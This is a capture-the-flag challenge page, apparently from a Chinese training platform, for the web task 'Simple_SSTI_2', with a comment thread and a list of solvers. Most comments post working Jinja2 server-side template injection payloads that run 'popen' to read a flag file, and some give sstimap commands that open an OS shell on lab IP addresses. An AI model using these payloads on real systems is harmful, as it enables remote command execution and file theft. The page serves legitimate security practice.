Simple_SSTI_2WEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Tokeii
一血奖励: 3金币
解  决: 16682
提  示:
描  述:
Simple_SSTI_2
评论
Terrenc44 2月前

http://160.202.254.160:18660/?flag={{lipsum.__globals__['os'].popen('cat flag').read()}}

回复 0

WWlsyl 2月前

fenjing一把嗦

回复 0

icyskin 3月前

sstimap -u http://160.202.254.160:19762/?flag=1 --os-shell -e Jinja2 echo $FLAG

回复 0

icyskin 3月前

http://160.202.254.160:19762/?flag={{url_for.__globals__[%27os%27].popen(%27cat%20/app/flag%27).read()}}

回复 0

suxiansheng 4月前

详解参考https://mp.csdn.net/mp_blog/creation/editor/161513397

回复 0

pipizhu 5月前

?flag={{lipsum.__globals__['os'].popen('cat /app/flag').read()}}获取flag

回复 0

bugku2026 6月前

先通过?flag={{self.__dict__}}发现拥有lipsum,再通过?flag={{lipsum.__globals__.os.popen("cat /app/flag").read()}}获取flag

回复 1

r1ng_13 7月前

焚靖直接秒,比上一个SSTI还简单

回复 1

网恋秀牛子被录屏导致自卑 9月前

/?flag={{(OvO.__eq__.__globals__.sys.modules.os.popen('cat flag')).read()}}

回复 1

liutong27 1年前

python3 sstimap.py -u http://117.72.52.127:12369/?flag=1 --os-shell

回复 1

WriteUp

image
valecalida

5 金币

评分(15)

解题动态

magning 攻破了该题 4小时前
风掠 攻破了该题 1天前
xiaoxiang07 攻破了该题 2天前
xuanbai 攻破了该题 2天前
qi1102 攻破了该题 2天前
nwnmc 攻破了该题 3天前
Amy 攻破了该题 3天前
gc 攻破了该题 3天前
zmjjkk..... 攻破了该题 4天前
KN11 攻破了该题 4天前
suhannn 攻破了该题 5天前
1柒1 攻破了该题 5天前
icowx 攻破了该题 5天前
kiwi9999 攻破了该题 5天前
CCC1112 攻破了该题 6天前
一只小成成 攻破了该题 6天前
世界你好 攻破了该题 6天前
17199913044 攻破了该题 7天前
chenlinXdb 攻破了该题 7天前
香克斯呀 攻破了该题 8天前
问题反馈